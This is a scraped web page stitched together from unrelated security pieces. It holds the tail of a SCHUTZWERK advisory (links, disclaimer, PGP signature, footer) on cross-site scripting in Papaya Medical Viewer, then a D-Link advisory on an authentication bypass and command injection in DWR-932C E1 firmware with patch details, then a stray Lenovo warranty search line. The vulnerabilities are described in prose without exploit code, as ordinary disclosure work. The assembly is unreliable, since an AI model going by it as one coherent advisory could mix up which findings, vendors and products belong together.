[3] https://en.wikipedia.org/wiki/DICOM  
[4] https://medimodel.com/sample-dicom-files/human_skull_2_dicom_file/  
[5] https://dicom.offis.de/dcmtk.php.de  
[6] https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_  
     Prevention_Cheat_Sheet.html  
[7] https://github.com/cure53/DOMPurify

Disclaimer  
==========

The information in this security advisory is provided "as is" and without  
warranty of any kind. Details of this security advisory may be updated   
in order  
to provide as accurate information as possible. The most recent version   
of this  
security advisory can be found at SCHUTZWERK GmbH's website.  
-----BEGIN PGP SIGNATURE-----

iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmRwkEgaHGFkdmlzb3Jp  
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrvCEA//YsP7ZUvk9VLzp49DtsMP  
HQF0ojoBmNZOi5fymVDRGScmMT5VLOsdp9EUEywPYxmxo1rPc4vv6gM3hQsQ7TRO  
oAb9ZeZjvYy2Nyz6cy3wX4H2naFOHEr085Uwpg9pX5DAHkQVsseTi/n04u5PT5xP  
Fnuozie/KOG4pmkkKFHmG6aWgUSXWZuq8japOghl6g35BmG7ntXG2OYsb7f5ITYw  
ksRbJt+8wetrBsa/pR6ZfEkoEpyuFZg85EDpDRoBPVlGZtuSF6dh+WfO+9VQBjLE  
dZwPRaXefHp/v89rEfWvkX3JGmGWh6P8KQ+puF3GHLcBa8iDIbW/HPfQHGuGhfIa  
upZ1E+HtgpxInxelM/BcFKXSjD4AMnAULa2C6nWsdmw8GIKHHus+WQuK1z40R7N4  
Vji59buH9SBWAWb7MuyRrdxoZSmAuxcR7lXVzHMxSOZm0W7J0d9luLL8XUn4kj8+  
tRE24TgbdGyAYr/V6BO9RiYCtyWPji5VBtwFZLFlvKRo81zyS9nve651nWS7Fv/l  
OGns4fGbEZ+sm/YuFdfyzg8TMJ0pqV0AswCnx9mSqWn3RRBHg55pE4i6IyUdofu/  
eiaTl33oyGolW7rQ5ATtmsOgKp5jKb7rt3WVSBLn1D9+JJ8MfbDrvyUoTkIZaqEp  
4bKAQKWvxQG8GpbKuQT4on0=  
=IEuk  
-----END PGP SIGNATURE-----

--   
SCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany  
Zertifiziert / Certified ISO 27001, 9001 and TISAX

Phone +49 731 977 191 0

advisories@schutzwerk.com / www.schutzwerk.com

Geschäftsführer / Managing Directors:  
Jakob Pietzka, Michael Schäfer

Amtsgericht Ulm / HRB 727391  
Datenschutz / Data Protection www.schutzwerk.com/datenschutz

Papaya Medical Viewer 1.0 Cross Site Scripting

OS Command Injection vulnerability in debug_fcgi of D-Link DWR-932C E1 firmware allows a remote attacker to perform command injection via a crafted HTTP request.

(non-US) DWR-932C :: Rev. E :: F/W v1.0.0.4 :: Remote Code Execution via Authentication Bypass and Command Injection

**Overview**

On August 11, 2021, a 3rd party security research

notifed D-Link about the (non-US) DWR-932C hardware revision E :using v1.0.0.4 and older versions of a remote code execution (RCE) attack vector from an authentication bypass vulnerability and an authenticated command Injection vulnerability. These vulnerabilities were confirmed and a patch was issued too close the reported issues.  Please find the beta/hotfix release below.  

  
**3rd Party Report information**

           - **Report provided:**

                 Government Technology Agency of Singapore (GOVTECH)

                 Eugene LIM :: Eugene\_LIM \_at\_ tech \_dot\_ gov \_dot\_ sg

          **\- Reference** :

                      **Excploit 1**: Lack of authentication in the \`debug\_post\_set.cgi\` in D-Link DWR-932C E1 Firmware 1.0.0.4 allows a remote attacker to perform administrative actions without authentication via a crafted HTTP request.

                      **Exploit 2 :** Command injection in \`debug\_fcgi\` in D-Link DWR-932C E1 Firmware 1.0.0.4 allows a remote attacker to perform command injection via a crafted HTTP request.

 **Affected Models**

**Model**

**Hardware Revision**

**Affected FW**

**Fixed FW**

**Recommendation**

 **Last Updated**

DWR-932C

All E Hardware Revisions

v1.0.0.4 & Below

 v1.0.0.5\_210823\_Release(01.06DRS)

     Please download and update device

09/02/2021

**Regarding Security patch for your D-Link Devices**

Firmware updates address the security vulnerabilities in affected D-Link devices. D-Link will update this continually and we strongly recommend all users to install the relevant updates.

Please note that this is a device beta software, beta firmware, or hot-fix release which is still undergoing final testing before its official release. The beta software, beta firmware, or hot-fix is provided on an “as is” and “as available” basis and the user assumes all risk and liability for use thereof. D-Link does not provide any warranties, whether express or implied, as to the suitability or usability of the beta firmware. D-Link will not be liable for any loss, whether such loss is direct, indirect, special or consequential, suffered by any party as a result of their use of the beta firmware.

As there are different hardware revisions on our products, please check this on your device before downloading the correct corresponding firmware update. The hardware revision information can usually be found on the product label on the underside of the product next to the serial number. Alternatively, they can also be found on the device web configuration.

Search

lenovo warranty check/lookup | check warranty status | lenovo support us